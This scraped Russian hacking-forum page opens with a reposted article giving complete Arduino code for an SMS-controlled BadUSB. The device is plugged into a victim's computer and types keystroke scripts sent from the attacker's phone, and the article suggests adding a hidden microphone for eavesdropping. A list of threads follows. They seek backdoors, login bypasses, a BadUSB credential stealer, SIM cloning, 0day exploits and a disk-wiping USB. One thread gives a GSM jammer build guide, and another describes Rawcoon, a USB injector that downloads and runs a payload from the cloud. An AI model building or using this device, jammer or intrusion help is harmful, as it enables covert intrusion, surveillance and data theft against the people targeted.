Что, если оборудовать Arduino модулем не ESP8266, а SIM800L? Конечно, суть BadUSB останется неизменной: устройство подключается к порту USB компьютера для выполнения команд скрипта. Однако отличие от простого BadUSB заключается в том, что после присоединения скрипт не выполнится. Его необходимо будет послать в виде SMS. Это даст преимущество не только в дистанции, c которой можно управлять устройством удаленно, но и в используемом оборудовании: хватит кнопочного телефона с SIM-картой. Чтобы еще немного снизить себестоимость устройства, можно заказать все необходимые детали с AliExpress.

Нам понадобятся следующие вещи:

![SIM800L](/proxy.php?image=https%3A%2F%2Fst768.s3.eu- central-1.amazonaws.com%2F0425d279f877fcba6c2c5ddb1e341fb3%2F20427%2F1_ZuuF3sy.jpg&hash=60d693e80588bcf223be7f1b071a5f08)
SIM800L

![Arduino Pro Mirco](/proxy.php?image=https%3A%2F%2Fst768.s3.eu- central-1.amazonaws.com%2F0425d279f877fcba6c2c5ddb1e341fb3%2F20428%2F2_wh5sm5Y.jpg&hash=a92bf2a53bfa75ecc34b3bb70a88d318)
Arduino Pro Mirco

![USB — microUSB](/proxy.php?image=https%3A%2F%2Fst768.s3.eu- central-1.amazonaws.com%2F0425d279f877fcba6c2c5ddb1e341fb3%2F20429%2F3.jpg&hash=429bdca380d396dc07361e779794f2ac)
USB — microUSB

Теперь давай приступим к сборке самого устройства.

РАБОТАЕМ РУЧКАМИ​

Схема соединения контактов двух плат проводами выглядит следующим образом:

Code:Copy to clipboard

ARDUINO <----> SIM800L
RAW <-----> VCC
GND <-----> GND
15 <-----> TXD
14 <-----> RXD

Антенна из комплекта SIM800L подойдет любая. Если это антенна‑спираль, то ее необходимо припаять к контакту NET модема. Чтобы сэкономить место, я выберу плоскую антенну и прикреплю ее к контакту IPX.

Питание модуля SIM800L очень капризно. Разрешенное напряжение составляет от 3,4 до 4,4 В. Поэтому, если ты используешь не Arduino Pro Micro или выходное напряжение не попадает в промежуток значений, указанный выше, советую ознакомиться со статьей [Robotchip](https://robotchip.ru/obzor-modulya-gsm- gprs-na-chipe-sim800l/). В ней подробно описано, как корректно подвести питание к модулю SIM800L.
![Собранное устройство](/proxy.php?image=https%3A%2F%2Fst768.s3.eu- central-1.amazonaws.com%2F0425d279f877fcba6c2c5ddb1e341fb3%2F20430%2F4_bUAwvcd.jpg&hash=9dfe2c690f307f3be9ede3fa00ea0834)
Собранное устройство

Останавливаться на сборке подробно я не буду. Уверенно орудуя паяльником, цепляем провода к обеим платам по схеме. Скажу лишь одно: если ты дальше собираешься продолжать свои эксперименты с BadUSB, то лучше воспользоваться макетной платой. Тогда сборка устройства превратится в игру с конструктором Lego. Достаточно будет припаять ножки к используемым контактам Arduino и SIM800L, установить девайсы на макетную плату и соединить их между собой проводами.

НАСТРАИВАЕМ ОКРУЖЕНИЕ​

Linux или Windows? Решать тебе! Arduino IDE есть под обе операционные системы. В моем случае при подключении Arduino определилось как SparkFun LilyPad USB.

![Определение Arduino в ОС Linux](/proxy.php?image=https%3A%2F%2Fst768.s3.eu- central-1.amazonaws.com%2F0425d279f877fcba6c2c5ddb1e341fb3%2F20385%2Fscreen1.png&hash=d41e343480ac9f827e4e485115769f65)
Определение Arduino в ОС Linux

Далее скачиваем Arduino IDE с официального сайта под свою ОС (в моем случае это Kali Linux). После установки необходимо выбрать устройство, которое мы будем программировать, и порт, к которому оно подключено. Сразу скажу, что, если ты используешь Linux, загрузить код на плату с первого раза может и не получиться. Тогда необходимо прописать в командной строке Linux следующее (где username — имя пользователя):

Code:Copy to clipboard

$ sudo usermod -a -G dialout username

![Выбор платы для правильной компиляции кода](/proxy.php?image=https%3A%2F%2Fst768.s3.eu- central-1.amazonaws.com%2F0425d279f877fcba6c2c5ddb1e341fb3%2F20388%2Fddd.PNG&hash=71b74e55ef12d14a6cc211287697f32f)
Выбор платы для правильной компиляции кода

![Выбор порта, к которому подключено устройство](/proxy.php?image=https%3A%2F%2Fst768.s3.eu- central-1.amazonaws.com%2F0425d279f877fcba6c2c5ddb1e341fb3%2F20386%2Fscreen2.png&hash=e432386daf42493fac826e23bbaac88a)
Выбор порта, к которому подключено устройство

После подключения устройства к USB-порту модем ищет ближайшую базовую станцию оператора SIM-карты, которую ты используешь в SIM800L (в верхнем углу модуля SIM800L находится светодиод, который показывает состояние сотовой сети). Есть три состояния индикатора: мигает раз в 1 с — модуль работает, но еще не подключился к сотовой сети; мигает раз в 2 с — запрошенное соединение для передачи данных GPRS активно; мигает раз в 3 с — модуль установил связь с сотовой сетью и может отправлять или получать голосовые сообщения и SMS.

ПРОГАЕМ МОЗГИ​

В отличие от девайса с модулем Wi-Fi, в нашей версии BadUSB будет программироваться только модуль Arduino. SIM800L выступит как часть канала передачи, которая обрабатывает получаемые от базовой станции сигналы GSM. Результатом работы (в зависимости от отправленной модулю SIM800L команды) будет текстовая информация, выведенная в COM-порт. Рассмотрим основные команды библиотеки этого модуля, с которыми будем работать.

Общаться с модулем SIM800L можно через COM-порт с помощью текстовых команд. Их перечень огромен, поэтому приведу в качестве примера только те, которые будут задействованы.

Datasheet по SIM800L

Итак, приступим к созданию кода. Логически его можно разделить на две части. Первая — обработка данных, получаемых от модуля SIM800L, и «выуживание» полезной нагрузки из SMS. Вторая — эмуляция модулем Arduino нажатий клавиш, отправляемых через USB-порт компьютеру. Основу второй части составил код, написанный Spacehuhn и переработанный мной.

Глобальные переменные и подключаемые библиотеки:

Code:Copy to clipboard

#include <SoftwareSerial.h>
#include <Keyboard.h>
#define BAUD_RATE 57200
#define ExternSerial Serial1
SoftwareSerial SIM800(15, 14); // RX, TX — контакты передачи/приема данных на Arduino
String _response    = ""; // Переменная для хранения ответа модуля
long lastUpdate = millis(); // Время последнего обновления
long updatePeriod   = 60000;  // Проверять каждую минуту
String phones = "Твой_номер";  // Белый список телефонов
String bufferStr = "";
String last = "";
int defaultDelay = 0;
bool hasmsg = false; // Флаг наличия сообщений к удалению

Теперь настроим скорость, с которой модули обмениваются данными, инициализируем SIM800L и заявим, что наше устройство — это клавиатура.

Code:Copy to clipboard

void setup(){
  Serial.begin(9600);
  SIM800.begin(9600);
  Serial.println("Start!");
    ExternSerial.begin(BAUD_RATE);
      Keyboard.begin();
  sendATCommand("AT", true);
  sendATCommand("AT+CMGDA="DEL ALL"", true);
  sendATCommand("AT+CMGF=1;&W", true);
  lastUpdate = millis();
}

Функцию loop() можно разбить на две части. Первая (if(lastUpdate + updatePeriod < millis()) — проверка на наличие непрочитанных сообщений, их обработка и отправка извлеченного скрипта в функцию parseSMS(). Вторая (if(SIM800.available())) выводит в монитор СOM-порта полученные от базовой станции данные, если модем что‑то отправил.

Code:Copy to clipboard

void loop(){
  if(lastUpdate + updatePeriod < millis()){
    do{
      _response = sendATCommand("AT+CMGL="REC UNREAD",1", true);
      if(_response.indexOf("+CMGL: ") > -1){
        int msgIndex = _response.substring(_response.indexOf("+CMGL: ") + 7, _response.indexOf(""REC UNREAD"", _response.indexOf("+CMGL: ")) - 1).toInt();
        char i = 0;
        do{
          i++;
          _response = sendATCommand("AT+CMGR=" + (String)msgIndex + ",1", true);
          _response.trim();
          if(_response.endsWith("OK")){
            if(!hasmsg) hasmsg = true;
            sendATCommand("AT+CMGR=" + (String)msgIndex, true);
            sendATCommand("\n", true);
            parseSMS(_response);
            break;
          }else{
            Serial.println ("Error answer");
            sendATCommand("\n", true);
          }
        } while (i < 10);
        break;
      }
      else{
        lastUpdate = millis();
        if(hasmsg){
          sendATCommand("AT+CMGDA="DEL READ"", true);
          hasmsg = false;
        }
        break;
      }
    } while (1);
  }
  if(SIM800.available()){
    _response = waitResponse();
    _response.trim();
    Serial.println(_response);
    if(_response.indexOf("+CMTI:") > -1){
      lastUpdate = millis() -  updatePeriod;
    }
  }
  if(Serial.available()){
    SIM800.write(Serial.read());
  };
  //-----------------------------
  if(ExternSerial.available()){
    bufferStr = ExternSerial.readStringUntil("END");
    Serial.println(bufferStr);
  }
  if(bufferStr.length() > 0){
    bufferStr.replace("\r","\n");
    bufferStr.replace("\n\n","\n");
    while(bufferStr.length() > 0){
      int latest_return = bufferStr.indexOf("\n");
      if(latest_return == -1){
        Serial.println("run: "+bufferStr);
        Line(bufferStr);
        bufferStr = "";
      } else{
        Serial.println("run: '"+bufferStr.substring(0, latest_return)+"'");
        Line(bufferStr.substring(0, latest_return));
        last=bufferStr.substring(0, latest_return);
        bufferStr = bufferStr.substring(latest_return + 1);
      }
    }
    bufferStr = "";
    ExternSerial.write(0x99);
    Serial.println("done");
  }
}

Функции parseSMS() включают в себя обработку номера телефона отправителя и сравнение его со списком разрешенных, вывод текста сообщения и номера в монитор COM-порта. Далее сам скрипт из сообщения отправляется в функцию Line().

Code:Copy to clipboard

void parseSMS(String msg){
  String msgheader  = "";
  String msgbody    = "";
  String msgphone   = "";
  msg = msg.substring(msg.indexOf("+CMGR: "));
  msgheader = msg.substring(0, msg.indexOf("\r"));
  msgbody = msg.substring(msgheader.length() + 2);
  msgbody = msgbody.substring(0, msgbody.lastIndexOf("OK"));
  msgbody.trim();
  int firstIndex = msgheader.indexOf("","") + 3;
  int secondIndex = msgheader.indexOf("","", firstIndex);
  msgphone = msgheader.substring(firstIndex, secondIndex);
  Serial.println("Phone: " + msgphone);
  Serial.println("Message: " + msgbody);
  if(msgphone.length() > 6 && phones.indexOf(msgphone) > -1){
    Line(msgbody);
  }
  else{
    Serial.println("Unknown phonenumber");
  }
}

Функция Line(String _line) принимает переменную msgbody, отправленную из функции parseSMS(), и записывает в переменную _line. Далее следует обработка префиксов команд: STRING - ; DELAY — пауза между командами; DEFAULTDELAY — пауза между командами по умолчанию; REM — комментарий; REPLAY — повторить. Выражения, которые идут после STRING, обрабатываются функцией press(String b).

Code:Copy to clipboard

void Line(String _line){
  int firstSpace = _line.indexOf(" ");
  if(firstSpace == -1) Press(_line);
  else if(_line.substring(0,firstSpace) == "STRING"){
    for(int i=firstSpace+1;i<_line.length();i++) Keyboard.write(_line[i]);
  }
  else if(_line.substring(0,firstSpace) == "DELAY"){
    int delaytime = _line.substring(firstSpace + 1).toInt();
    delay(delaytime);
  }
  else if(_line.substring(0,firstSpace) == "DEFAULTDELAY") defaultDelay = _line.substring(firstSpace + 1).toInt();
  else if(_line.substring(0,firstSpace) == "REM"){}
  else if(_line.substring(0,firstSpace) == "REPLAY"){
    int replaynum = _line.substring(firstSpace + 1).toInt();
    while(replaynum){
      Line(last);
      --replaynum;
    }
  }
  else{
      String remain = _line;
      while(remain.length() > 0){
        int latest_space = remain.indexOf(" ");
        if(latest_space == -1){
          Press(remain);
          remain = "";
        }
        else{
          Press(remain.substring(0, latest_space));
          remain = remain.substring(latest_space + 1);
        }
        delay(5);
      }
  }
  Keyboard.releaseAll();
  delay(defaultDelay);
}

Функция Press (String b) отправляет сигналы нажатия клавиш компьютеру в зависимости от содержания скрипта:

Code:Copy to clipboard

void Press(String b){
  if(b.length() == 1) Keyboard.press(char(b[0]));
  else if(b.equals("ENTER")) Keyboard.press(KEY_RETURN);
  else if(b.equals("CTRL")) Keyboard.press(KEY_LEFT_CTRL);
  else if(b.equals("SHIFT")) Keyboard.press(KEY_LEFT_SHIFT);
  else if(b.equals("ALT")) Keyboard.press(KEY_LEFT_ALT);
  else if(b.equals("GUI")) Keyboard.press(KEY_LEFT_GUI);
  else if(b.equals("UP") || b.equals("UPARROW")) Keyboard.press(KEY_UP_ARROW);
  else if(b.equals("DOWN") || b.equals("DOWNARROW")) Keyboard.press(KEY_DOWN_ARROW);
  else if(b.equals("LEFT") || b.equals("LEFTARROW")) Keyboard.press(KEY_LEFT_ARROW);
  else if(b.equals("RIGHT") || b.equals("RIGHTARROW")) Keyboard.press(KEY_RIGHT_ARROW);
  else if(b.equals("DELETE")) Keyboard.press(KEY_DELETE);
  else if(b.equals("PAGEUP")) Keyboard.press(KEY_PAGE_UP);
  else if(b.equals("PAGEDOWN")) Keyboard.press(KEY_PAGE_DOWN);
  else if(b.equals("HOME")) Keyboard.press(KEY_HOME);
  else if(b.equals("ESC")) Keyboard.press(KEY_ESC);
  else if(b.equals("INSERT")) Keyboard.press(KEY_INSERT);
  else if(b.equals("TAB")) Keyboard.press(KEY_TAB);
  else if(b.equals("END")) Keyboard.press(KEY_END);
  else if(b.equals("CAPSLOCK")) Keyboard.press(KEY_CAPS_LOCK);
  else if(b.equals("F1")) Keyboard.press(KEY_F1);
  else if(b.equals("F2")) Keyboard.press(KEY_F2);
  else if(b.equals("F3")) Keyboard.press(KEY_F3);
  else if(b.equals("F4")) Keyboard.press(KEY_F4);
  else if(b.equals("F5")) Keyboard.press(KEY_F5);
  else if(b.equals("F6")) Keyboard.press(KEY_F6);
  else if(b.equals("F7")) Keyboard.press(KEY_F7);
  else if(b.equals("F8")) Keyboard.press(KEY_F8);
  else if(b.equals("F9")) Keyboard.press(KEY_F9);
  else if(b.equals("F10")) Keyboard.press(KEY_F10);
  else if(b.equals("F11")) Keyboard.press(KEY_F11);
  else if(b.equals("F12")) Keyboard.press(KEY_F12);
  else if(b.equals("SPACE")) Keyboard.press(' ');
}

Функция sendATCommand(String cmd, bool waiting) упрощает взаимодействие с модулем SIM800L. В случае неудачной отправки команды модулю цикл повторяется заново.

Code:Copy to clipboard

String sendATCommand(String cmd, bool waiting){
  String _resp = "";
  Serial.println(cmd);
  SIM800.println(cmd);
  if(waiting){
    _resp = waitResponse();
    if(_resp.startsWith(cmd)){
      _resp = _resp.substring(_resp.indexOf("\r", cmd.length()) + 2);
    }
    Serial.println(_resp);
  }
  return _resp;
}

Функция waitResponse() ожидает ответа и возвращает полученный от модема результат.

Code:Copy to clipboard

String waitResponse(){
  String _resp = "";
  long _timeout = millis() + 10000;
  while (!SIM800.available() && millis() < _timeout){};
  if(SIM800.available()){
    _resp = SIM800.readString();
  }
  else{
    Serial.println("Timeout...");
  }
  return _resp;
}

ТЕСТИРУЕМ ДЕВАЙС​

Итак, настал момент истины! Цепляем устройство к USB-порту компьютера. Ждем, когда модем установит соединение с базовой станцией, — об этом свидетельствует мигающий раз в 3 с красный светодиод. Проверяем наличие обнаруженных устройств в ОС.

После этого отправляем тестовый скрипт с полезной нагрузкой в тексте SMS на SIM-карту модема. Например, так, как показано на следующих рисунках.

![Полезная нагрузка, отправленная в SMS](/proxy.php?image=https%3A%2F%2Fst768.s3.eu- central-1.amazonaws.com%2F0425d279f877fcba6c2c5ddb1e341fb3%2F20425%2F5.jpeg&hash=2483de5a56dedf106a9e60b185ff8454)
Полезная нагрузка, отправленная в SMS

![Результат выполнения полезной нагрузки](/proxy.php?image=https%3A%2F%2Fst768.s3.eu- central-1.amazonaws.com%2F0425d279f877fcba6c2c5ddb1e341fb3%2F20426%2F6.png&hash=08f6abe42f7bbac1eddf0c8486adddb6)
Результат выполнения полезной нагрузки

Полный набор команд можно найти у SpacehuhnTech.

Какая полезная нагрузка будет в SMS, зависит только от твоего знания командных строк Linux и Windows, а также твоей изобретательности.

ЧТО ДАЛЬШЕ?​

Совершенству нет предела! Давай рассмотрим пару примеров того, как ты можешь улучшить устройство.
У SIM800L есть контакты Mic+ и Mic-. К ним можно припаять конденсаторный микрофон. В коде необходимо будет прописать дополнительную процедуру для обработки входящего звонка. Ты будешь слышать все, что происходит рядом с устройством.
Также можно включить обработку тонального набора, когда модем будет автоматически отвечать на звонок с твоего телефона. Это даст возможность выполнять скрипты, записанные тобой заранее в память устройства, при звонке с определенного телефона и нажатий определенной цифровой комбинации во время сеанса связи.

ВЫВОД​

Что ж, хотелось бы сказать, что в таких устройствах нет ничего сложного: компании предлагают уже готовые модули, позволяющие работать с ними, как с Lego, программирование в большинстве случаев сводится к использованию языков высокого уровня, а комьюнити практически всегда делится своими наработками и гайдами. Нужны только идея и твоя фантазия, и тогда ты сможешь собрать что‑то классное.

Автор NeDlyaMenya

NeDlyaMenya — Хакер

![xakep.ru](/proxy.php?image=https%3A%2F%2Fxakep.ru%2Fwp- content%2Fuploads%2F2017%2F06%2Fxakep- favicon-93x93.png&hash=133fa43656be1765722fac39a9e3c87e&return_error=1) xakep.ru

Бэкдор
ID: 676535aeb4103b69df373657
Thread ID: 52147
Created: 2021-05-25T13:34:11+0000
Last Post: 2021-06-05T07:39:41+0000
Author: stand4r
Replies: 5 Views: 2K

У меня есть raspberry pi 4b. Могу ли я сделать из нее бэкдор прошивкой.

Получение пароля от ПК
ID: 676535aeb4103b69df373658
Thread ID: 50994
Created: 2021-04-24T01:01:24+0000
Last Post: 2021-04-27T02:56:40+0000
Author: Metropoliten
Replies: 4 Views: 2K

Попал ко мне довольно интересный агрегат - Getac MIL X500 с установленной на нём ОС МСВС 5.0. Собственно пароля я не знаю, но хотелось бы узнать. Можете подсказать направление, как можно попасть в систему обойдя процесс авторизации или выяснить пароль?

sdr приемник
ID: 676535aeb4103b69df37365a
Thread ID: 49971
Created: 2021-03-28T12:26:07+0000
Last Post: 2021-04-24T17:58:34+0000
Author: risitas
Replies: 6 Views: 2K

Здравствуйте. Посоветуйте хороший sdr приемник и мощную антенну для него, в пределах 200$.

Badusb + stiller
ID: 676535aeb4103b69df373666
Thread ID: 45497
Created: 2020-12-13T17:09:26+0000
Last Post: 2020-12-13T18:10:39+0000
Author: Crypt0cat
Replies: 1 Views: 2K

Доброго времени суток!
Друзья, не так давно начал увлекаться фрикингом Badusb на ардуино. Пришла идея по интеграции Стиллера в этот аппарат, однако понял, что памяти не хватает. Нашел ардуинку со слотом для памяти. Вопрос: есть ли возможность внедрения Стиллера в слот памяти для ардуино и дальнейшее написание скетча для инжекта с флешки? Заранее спасибо. Также с радостью готов получить информационную помощь по работе уязвимости Badusb в ЛС.

I need Sim Card KI Extractor (comp128v2 sim card)
ID: 676535aeb4103b69df37366a
Thread ID: 42292
Created: 2020-09-20T13:08:11+0000
Last Post: 2020-11-11T17:51:01+0000
Author: nusret
Prefix: GSM
Replies: 6 Views: 2K

I need Sim Card KI Extractor (comp128v2 sim card)
Friends with knowledge on this subject can PM

PM me if you have or sell 0day exploits.
ID: 676535aeb4103b69df37366b
Thread ID: 44121
Created: 2020-11-10T03:45:10+0000
Last Post: 2020-11-10T03:45:10+0000
Author: B3ckhck
Replies: 0 Views: 2K

Hi, all.
I'm looking for 0day developers and sellers, so could I buy exploits from them.
If you do, please pm me.

My Telegram ID : @B3ckl3rh3ck
My Jabber : exph3ck@xmpp.cz

don't destroy everything
ID: 676535aeb4103b69df37366c
Thread ID: 44055
Created: 2020-11-08T08:21:00+0000
Last Post: 2020-11-08T08:21:00+0000
Author: BlackMask
Replies: 0 Views: 2K

Hello, I am looking for a flash memory software, when you plug it into the computer, it will delete everything in an instant, it will not be necessary to run anything, it will not leave a trace behind, hdd will burn completely, there is something like this

USB антенна Wifi.
ID: 676535aeb4103b69df373670
Thread ID: 43803
Created: 2020-11-01T20:38:46+0000
Last Post: 2020-11-01T21:40:23+0000
Author: omne999666
Prefix: WiFi
Replies: 1 Views: 2K

Как фирма USB антенны WiFi лучше для выбора в использовании?
P.S Подскажите, просто за модем 3G много платить выходит по тарифу. А можно было с экономить подключившись где то к WiFi доступному сигналу с минимальной оплатой за доступ, посещая сайты.

Contactless Visa attack
ID: 676535aeb4103b69df373671
Thread ID: 42403
Created: 2020-09-23T12:23:39+0000
Last Post: 2020-10-31T19:11:23+0000
Author: cashearner
Replies: 6 Views: 2K

Is there anyone that has this app or can make this kind of attack?

Dragon OS
ID: 676535aeb4103b69df373674
Thread ID: 42375
Created: 2020-09-22T15:54:03+0000
Last Post: 2020-09-27T19:14:37+0000
Author: utrom
Replies: 4 Views: 2K

Кто не видел, советую обратить внимание на продукт. Развернутые мануалы на YouTube. Претендует на Radio OS Award 2020. Особенно интересным мне показался Universal Radio Hacker.

sourceforge.net

DragonOS_10

Download DragonOS_10 for free. LATEST BUILDS LOCATED HERE (20.04 based) https://sourceforge.net/projects/dragonos-focal/ *Until you install the operating system, the default user = live / no password. DragonOS_10 an out- of-the-box Debian Buster based operating system for anyone interested in...

sourceforge.net sourceforge.net

Как достать иннтересную инфу с телефона
ID: 676535aeb4103b69df373675
Thread ID: 40360
Created: 2020-08-03T04:58:20+0000
Last Post: 2020-09-18T19:04:36+0000
Author: Makaroha99
Replies: 3 Views: 2K

Друзья! Привет. Мучаюсь всю ночь, никак не могу достичь дзена) Есть телефон, samsung mini какой то. Есть на нем gmail почта и аккаунт гугл. Сохранение паролей отключено но данные сайтов, автгозаполнение присутствует. Например как фотки востановить удаленные я знаю, как в архиве гугла повернуть тоже. А что еще интересного можно достать с телефона имея на руках 2й телефон самсунг и доступ в нет? Компа нет, рут прав тоже.

Help make clone sim card
ID: 676535aeb4103b69df373679
Thread ID: 40975
Created: 2020-08-16T12:20:42+0000
Last Post: 2020-08-23T12:10:32+0000
Author: nusret
Replies: 8 Views: 2K

I want to copy a prepaid sim card, what information should I get for this?

Делаем GSM глушилку
ID: 676535aeb4103b69df37367b
Thread ID: 39379
Created: 2020-07-07T17:04:45+0000
Last Post: 2020-08-16T12:15:57+0000
Author: PROVODA
Prefix: GSM
Replies: 12 Views: 2K

Хорошей сборки!
Нам понадобиться:
Передающая антенна
Источник Помех (обычно он уже встроенный в Схему)
Блок Усиления РЧ
Генератор, Управляемый Напряжением (или же ГУН)
Схема (для выбора желаемой частоты для подавления)1.jpg
Самое важное в глушилке это ГУН котрый и производит РЧ. Прежде всего вы должны выбрать частоты . СПИСОК ЧАСТОТ:


Настроечная Схема** может быть двух видов: разомкнутая схема и с обратной связью. Разомкнутая схема довольно проста и требует всего лишь несколько составляющих и дополнительные пассивные компоненты. Генератор пилообразных колебаний заставляет ГУН ходить от нижней к верхней частоте. Схема с обратной связью использует ФАПЧ чтобы настроить и удерживать частоту ГУН на одном уровне. Для этой цели Вам нужно использовать микроконтроллер. Он программируется один раз и подключается к ГУН, поэтому он не настраиваемый.

Даьше прикрутимБлок Усиления РЧ- работает как антенна WI-FI усиливает сигнал.
Чем больше мощности у вашего подавителя сигналов,тем шире радиус его подавления.
На рынках есть разные усилительные каскады ( 7дБм, 17дБм, и даже 20+дБм ) но и везде есть свои минусы чем больше мощность, тем меньше время работы устройства. 3.jpg

Передающая Антенна – это устройство, передающее сигналы, которые генерирует Ваш подавитель. Основной характеристикой антенны является КСВН (Коэффициент Стоячей Волны Напряжения). Если КСВН Вашей антенны равняется трем или ниже, тогда это то, что надо, потому что обратные потери этой антенны минимальны.

Специалисты компании Джаммер используют SMA антенны, так как их очень легко убирать или заменять. Также следует упомянуть то, что всенаправленные антенны являются предпочтительными, если Вы не хотите постоянно направлять свою глушилку на объект подавления, как пульт от телевизора.

Питание нашего устройства- Обычно для работы подавители мобильных телефонов используют 5В постоянного тока. Поэтому Вы можете использовать ионно-литиевую батарею в качестве источника питания. В случае использования обычного источника питания Вам понадобится сетевой адаптер. Сетевой адаптер может быть двух типов: удвоитель напряжения управляемого конденсатора или индукторный импульсный повышающий стабилизатор.

Картинки взяты из интернета. Также можно купить готовые gsm глушилки даже более мощные! Это статья для тех кто любит делать что-то сам!!!!
**Заметка:
На более мощные глушилки сигналов, как правило, устанавливают охладительные системы для предотвращения неполадок.
**

P.S
Подскажиет про что написать статью))

Android sms
ID: 676535aeb4103b69df37367c
Thread ID: 38400
Created: 2020-06-13T06:51:30+0000
Last Post: 2020-08-14T12:29:45+0000
Author: Toosieboy224
Replies: 2 Views: 2K

Anyone know an android app that can collect sms and sendback to listener? Free ones

AWUS036ACH как усилить сигнал
ID: 676535aeb4103b69df373683
Thread ID: 38581
Created: 2020-06-18T17:45:16+0000
Last Post: 2020-06-27T17:15:25+0000
Author: Crixus
Prefix: WiFi
Replies: 3 Views: 2K

ни один мануал не сработал

Нужно удалить фото с чужого телефона
ID: 676535aeb4103b69df37368a
Thread ID: 36634
Created: 2020-04-21T23:03:37+0000
Last Post: 2020-04-24T22:25:38+0000
Author: A-N-DroID
Replies: 5 Views: 2K

Тема такая, нежелательная фотка попала в телефон к нежелательному человеку, он легко может шантажировать моих друзей этой фоткой, мне надо без физического доступа к телефону человека, удалить фото, подскажите как?

Нужно собрать глушилку
ID: 676535aeb4103b69df37368c
Thread ID: 35528
Created: 2020-03-16T11:45:56+0000
Last Post: 2020-03-23T16:55:41+0000
Author: Mirai Nikki
Replies: 4 Views: 2K

Хай,
вообщем нужно собрать глушилку , которая будет сносить эфир bluetooth/wi-fi,
есть ли какие-нибудь гайды на эту тему? Вроде тема не новая , так что буду благодарен , если кто поможет.

Подобрать пин код для приложения Android.
ID: 676535aeb4103b69df37368d
Thread ID: 32892
Created: 2019-11-01T02:33:16+0000
Last Post: 2020-03-13T13:51:43+0000
Author: gmbisi
Replies: 7 Views: 2K

В общем, суть такая. Есть телефон, не рутованный.
Есть к нему физический доступ, нужно зайти в приложение, но на нём стоит графический ключ.
4 цифры, блокировка не ставится после нескольких неверных вводов, но вводить 9999 комбинаций вручную - тоже достаточно тяжело.
Есть может какое-то приложение для брутфорса или другие методы обхода пин-кода на приложении android?

USB - инъекция при помощи Rawcoon
ID: 676535aeb4103b69df373693
Thread ID: 32834
Created: 2019-10-30T16:08:01+0000
Last Post: 2019-10-31T08:50:14+0000
Author: neopaket
Prefix: Статья
Replies: 5 Views: 2K

USB - инъекция при помощи Rawcoon¹ .
¹ - Rawcoon является USB-устройством, которое представляет собой компьютер в качестве клавиатуры. Он посылает нажатия клавиш, чтобы открыть терминал, загрузить ваш скрипт и выполнить его.

Введение

Для тех из нас, кто еще не знаком с USB-инъекциями нажатия клавиш, концепция довольно проста: USB-устройство, напоминающее обычную флешку, но выполняющее функции клавиатуры, отправляет последовательность нажатий клавиш при подключении. Это позволяет запускать некоторые действия на любом компьютер, к которому он подключен, без необходимости какого-либо взаимодействия с пользователем.
На рынке появилось несколько устройств, которые позволяют это, например Malduino 46 или RubberDucky 13, которые обычно позволяют пользователю настраивать или «программировать» последовательность нажатий клавиш на устройстве.
Я всегда был поражен и заинтригован развитием этой технологией и ее способностью доставлять полезную нагрузку на разблокированные компьютеры таким "скрытным" способом - просто подключить устройство к USB-порту и затем тихо уйти.
Это все конечно хорошо, но, к сожалению, это не волшебство, чтобы всё было так легко, и есть некоторые важные недостатки:

Что еще хуже, переконфигурирование такого устройства для конкретной цели (комбинация раскладки ОС / клавиатуры) требует физического подключения его к компьютеру, что в определенных ситуациях может быть затруднительным.

Rawcoon

Я хотел создать другой вид USB-инъекционного инструмента, который не будет ограничен этими соображениями. Я решил назвать это Rawcoon.

Главная идея

Идея заключается в том, чтобы разместить сценарий полезной нагрузки где-то в облаке, загрузить USB-устройство и выполнить его на целевом компьютере. Выполняя скрипт (Из файла), нам больше не нужно было бы беспокоиться о раскладке клавиатуры, а наличие скрипта в облаке позволило бы нам быстро обновить его, не используя компьютер для подключения USB-устройства - простого смартфона с доступом в интернет могло быть достаточно. Кроме того, использование широко стандартного сценария, такого как sh (shell script), устраняет большую часть необходимости специально ориентироваться на конкретную операционную систему - становится возможным писать сценарии независимо от ОС.

Таким образом, это позволило бы устранить все проблемы, упомянутые выше. Однако остались ещё некоторые нюансы.

Хорошо, мы можем поместить все, что захотим, в «сценарий полезной нагрузки» (поскольку он будет интерпретироваться из файла, а не «набираться» устройством), но нам все еще нужно, чтобы устройство фактически загрузило сценарий и выполнило его - и для этого нам нужно еще отправить нажатия клавиш.

Решение проблемы с раскладкой клавиатуры

Во-первых, чтобы обойти проблему с раскладкой клавиатуры, я решил, что Rawcoon будет работать только с «универсальными» клавишами - теми, которые никогда не меняются при разных раскладках клавиатуры (ну, по крайней мере, большинство из них). К счастью, их достаточно, чтобы запустить curl (Кроссплатформенная служебная программа командной строки, позволяющая взаимодействовать с множеством различных серверов по множеству различных протоколов с синтаксисом URL ) со всеми необходимыми аргументами для загрузки материалов из Интернета. Но URL-адреса, которые мы свертываем, также должны быть ограничены этими «универсальными» символами. Это привело к выбору домена ' rc0.ch 29

ОС-Агностик

Для справки, агностицизм философская концепция, согласно которой мир непознаваем; люди не могут знать ничего достоверного о Боге и о действительной сущности вещей.

Далее проблема с операционной системой. Чтобы обойти это, Rawcoon начинает свой код с отправки некоторых сочетаний клавиш, чтобы открыть терминал. Для Windows мы открываем меню «Пуск» и начинаем вводить «cmd». Для MacOS CMD + Space открывает функцию поиска, где мы вводим «terminal² » . Для Linux мы используем общие комбинации клавиш CTRL + ALT + Space / CTRL-ALT-T. Когда терминал открыт, выдается команда curl для загрузки bootstrap**.** - это не фактическая полезная нагрузка, а скрипт, который будет запускаться как в оболочках sh, так и в cmd.exe. С этого момента Rawcoon практически закончил работу, завершил вводом команды 'exit' и попытался свернуть окно терминала - теперь запускается скрипт начальной загрузки. Он начинается с создания каталога .r и входит в него. Затем скрипт начальной загрузки использует маркер комментария rem из cmd.exe для выборочного выполнения различных действий³ в зависимости от типа оболочки (sh / cmd.exe). Если оболочкой является cmd.exe, мы загружаем небольшой zip-файл, содержащий облегченные двоичные файлы для sh, grep, sed и кучу других базовых утилит оболочки. В любом случае мы также скачиваем промежуточный загрузчик(как «.i») и фактический скрипт полезной нагрузки (как «.r»). Затем мы запускаем промежуточный загрузчик, который зависит от ОС. Для оболочек он просто начинает выполнять полезную нагрузку в фоновом процессе. Для cmd.exe сначала распаковывается zip-файл, содержащий sh и другие утилиты, затем создается фоновый процесс powershell для выполнения файла сценария полезной нагрузки через sh.

На этом этапе наша полезная нагрузка выполняется в оболочке sh (независимо от ОС) в фоновом режиме.

Текущее состояние

Несколько дней назад я начал продавать эти Rawcoon на Ebay 44 по цене $ 16,49. Веб- сайт https://www.rawcoon.ch/ 108 .

Как пользоваться

Перво-наперво, нам нужно войти на https://rawcoon.ch/login 11 . Для этого требуется аккаунт Google / Gmail. Ничего о вас не хранится в нашей базе данных.

